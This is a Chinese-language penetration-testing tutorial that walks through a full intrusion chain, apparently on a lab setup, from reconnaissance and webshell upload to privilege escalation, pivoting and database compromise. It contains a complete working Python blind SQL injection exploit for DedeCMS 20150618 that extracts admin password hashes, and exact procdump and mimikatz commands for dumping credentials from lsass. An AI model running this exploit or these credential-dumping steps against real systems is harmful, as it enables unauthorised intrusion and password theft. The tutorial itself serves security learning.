我們學習安全時,常常會一直停留在某一方面,甚至不知道自己接下來要學什么,而提前了解我們整個滲透需要掌握的技術顯得至關重要,這樣我們在平時的學習中就會更加注重需要掌握的知識,接下來將通過一個完整的滲透程序來講解我們需要掌握的知識,
環境圖片資訊收集使用netdiscover探測存活主機圖片圖片使用nmap掃描存活主機和開放埠圖片使用wfuzz掃描子域名圖片資訊收集的知識點甚多,遠遠不止這么一點,這只是冰山一角資訊收集可以說是滲透程序中最關鍵的一步,對目標充分的了解,有利于我們對目標進行全面的分析,后續的思路也會更加明確,而在資訊收集的程序中,往往收集的資訊是非常凌亂的,資訊收集的量大這非常考驗我們對資訊關鍵內容的提取,有的時候注意一下小小的細節,我們的滲透思路就來了,所以我們在需要時刻做好筆記,將收集到的資訊進行整理歸納當然在社會工程學也是不容小覷,有的時候社工一下輕輕松松拿下別人的網站,不過我還不怎么會,
后臺的獲取
根據前期的資訊收集,進入目標織夢網站注冊賬號## 后臺的獲取圖片織夢cms 的版本是 20150618 存在注入圖片網上搜索公開的exp進行獲取后臺密碼的hash圖片附上大佬寫的exp
import sys,os
import urllib2
import time
opener = urllib2.build_opener()
def getCookes():
line = open('cookies.txt','r')
c = line.readline()
line.close()
return c
cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=20)
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
if time.time() - start_time > 4.0:
password = password+p
print "["+str(now)+"]: "+s1+" -> "+password
except urllib2.URLError,e:
print e;
return password
def myhelp():
print "\n+------------------------------+"
print "| Dedecms 20150618 member sqli|"
print "| mOon www.moonsec.com |"
print "| MTEAM:moon@moonsec.com |"
print "+------------------------------+\n"
def main():
if len(sys.argv)< 2:
myhelp()
sys.exit()
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
print "password is %s" % (exploite(sys.argv[1]))
if __name__ == '__main__':
main()
發現使用md5加密,進行網上解密,
圖片我們需要熟悉各種加密演算法的特征,遇到不同的密文時我們就能夠快速的破解密文,在這一步獲取后臺,我們是為了下一步webshell服務器,當然也可能直接遠程執行命令進行寫碼或者直接上傳檔案,但一般前臺能進行檔案上傳的網站很少,此時在我們心中應該要有很多登錄后臺的方式:SQL注入、xss獲取cookie、弱口令、原始碼泄露進行代碼審計、垂直越權、網上公開漏洞、敏感資訊泄露、中間件漏洞等等,這些我們都要認真的掌握,
Webshell
登錄后臺后此時我們需要思考的是如何webshell,可以從各種功能點出發,發現可以上傳后門
連接后門,直接webshell網站
我們需要掌握常用的webshell連接工具,如:中國蟻劍、中國菜刀等,
權限提升
當我訪問其他檔案時權限不夠,此時需要做的就是提權
在虛擬終端并不可以執行命令,如果我們需要將shell會話轉移到msf中繼續往下滲透的話,上傳的后門無法執行,說明此時需要上傳提權腳本
上傳提權腳本
訪問上傳的asp提權腳本,可以執行命令
生成攻擊載荷
而有些目錄是無法上傳的,此時先上傳目錄掃描檔案,掃描得到可讀可寫檔案
圖片上傳后門到指定可讀寫檔案,并使用上傳的提權腳本進行運行,設定payload,成功反彈,
這里思考一個問題,我們在平常練習中,經常喜歡將直接去目標機中雙擊后門直接運行,此時與我們上面執行的有什么區別,反彈回來的權限是完全不一樣的,在網頁上執行該后門回傳的只是普通權限,而在目標機中執行回傳的卻是管理員權限,
由于這里是一個普通權限所以進行提權,搜索可提權的模塊
利用提權模塊,成功提權
在這里的權限提升中首先我們webshell但得到的權限比較低,無法執行程式,上傳提權腳本后,執行程式,反彈到msf中,此時反彈到msf中是為了更好的進行滲透,反彈到msf中此時也還需要進行權限提升,權限提升的方式也分為非常多,我們要盡可能的全部掌握,
由于現在對安全越來越重視,很多產商對各種有攻擊性的代碼與工具進行了查殺,剛剛使用msfvenom生成的攻擊載荷,很有可能被查殺,免殺技術在我們進行滲透程序中是必不可少的,如果一上傳到別人服務器上就給殺了,那不是一件很尷尬的事嘛,
所以一般來講上傳的一句好木馬、攻擊工具等都需要做免殺,
滲透其他網站
往往一臺web服務器所包含的網站不止一個,繼續掃描ww2.cc123.com的網站目錄
找到登錄后臺的網頁,經過測驗發現可以用萬能密碼登錄
發現后臺存在sql注入,抓取后臺登錄的包,利用sqlmap進行注入
得到權限后,發現是一個內部ip地址,說明該網站可能是站庫分離的網站
利用剛剛上傳的提權腳本連接資料庫
資料庫的種類非常多,我們在滲透程序中不能確定說會碰到那些資料庫,所以需要我們掌握資料庫的框架、基本操作命令,比如增、刪、改查等等,
當前資料庫主要有:Oracle,SQL Server,MySQL,
利用Procdump+mimikatz配合獲取hash與明文
Procdump是微軟官方發布的工具,使用該工具可以繞過大多數的防護軟體,procdump.exe把行程lsass.exe 的記憶體dump下來
將獲取的lsass.dmp拷貝到本機上,再使用本機的mimikatz獲取hash與明文
下載地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
行程lsass.exe中存在密碼資訊,使用Procdump獲取lsass.exe中的資訊
procdump -accepteula -ma lsass.exe lsass.dmp
匯出lsass.dmp
將lsass.dmp匯出到本機后,使用mimikatz獲取明文密碼,這樣就可以不用將mimikatz傳入到目標機中,可以防止mimikatz被殺的可能性,
1.privilege::debug 提升權限
2.sekurlsa::minidump lsass.dmp 用mimikatz載入lsass.dmp
3.sekurlsa::logonPasswords full 獲取明文密碼和hash
為什么要獲取明文和hash呢?
因為在域滲透的程序中可以利用獲取到的明文或者hash進行橫向傳遞攻擊,由于我這里環境并不是域環境,無法演示,還有各個服務器的網站后臺登錄等等,都有可能用得到,很多時候大多數密碼都是相同的
所以獲取明文或者hash可以為我們接下來進行滲透提供很大幫助,而獲取明文和hash的方式非常多種,有的時候甚至要自己撰寫工具,
明文和hash獲取請參考:
https://forum.butian.net/share/259
https://forum.butian.net/share/310
域橫向傳遞傳遞攻擊請參考:
https://forum.butian.net/share/257
https://www.cnblogs.com/zzjdbk/p/14507846.html
多重網段內網滲透
獲取路由資訊,添加路由資訊
在整個滲透程序中,我們需要了解基本的網路拓撲,在絕大多數高校和培訓機構,開始上的課都是初級網路知識,需要我們對整個網路組成能夠有清楚的認識,我上的課中有CCNA、HCIA、TCP/IP協議分析,就好比這里為什么要添加路由,我如何與其他網段進行通信,這就是基本的初級網路知識,
所以如果是在前期的學習中,有上這些知識的課還是要認真學,其中TCP/IP協議分析,在我們安全方面也是很重要的,
使用socks代理隧道技術
使用proxychains設定代理
這里采用的是socks4a隧道代理技術,相對來講使用該隧道代理技術并不是很穩定,但操作簡單
而使用socks5代理隧道技術很穩定,但卻還要在被控制端操作,操作稍微優點復雜,
代理技術有非常多,有的時候我們為了隱蔽自己,常常使用網上的代理地址,好比進行子域名爆破、密碼破解等等,
使用Ngrok、Ssh、autossh、Natapp、Frp、Lanproxy、Spike、花生殼工具等工具搭建代理服務器進行內網穿透等等,需要我們在公網搭建物體機,
這些內網穿透的代理工具不一定要全部掌握,但要對其中幾款能夠熟練使用,
代理技術請參考:
https://sspai.com/post/52523
https://forum.butian.net/share/330
繼續使用nmap掃描目標主機的開放埠
圖片
上傳攻擊負載到mysql資料庫
msf設定載荷
執行攻擊負載
msf成功獲取到資料庫權限,這里是通過web服務器為跳板,攻擊資料庫服務器,
如果資料庫下面還有其他服務器則大致內容也差不多是這樣,
在滲透中msf與cobalt strike都是相當重要的,可以說是必學,涉及的內容是相當多的,這里沒有使用到cobaltstrike,但是msf與cobaltstrikes聯動可以將各個功能結合在一起,
請參考:
https://www.freesion.com/article/1182816201/
https://www.freebuf.com/company-information/167460.html
https://www.cnblogs.com/dogecheng/p/11450423.html
總結
通過本次滲透實體,希望能夠給我們啟發,要進行全滲透,可以說每一個環節都是環環相扣,提前明確自己需要掌握的內容,一個一個進行攻破,知識點進行擴寬,就會識訓很多,希望能夠與你們一起進步,不管自己亦強亦或弱,繼續向前走就是了,
訪問破百福利:安全相關電子書:–來自百度網盤超級會員V2的分享
hi,這是我用百度網盤分享的內容~復制這段內容打開「百度網盤」APP即可獲取
鏈接:https://pan.baidu.com/s/1q3qjnQCqKAi-MoZZN8xfiQ?pwd=ybjz
提取碼:ybjz
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/395027.html
標籤:其他
上一篇:防泄密的現狀
下一篇:執行緒同步的不安全案例與解決辦法
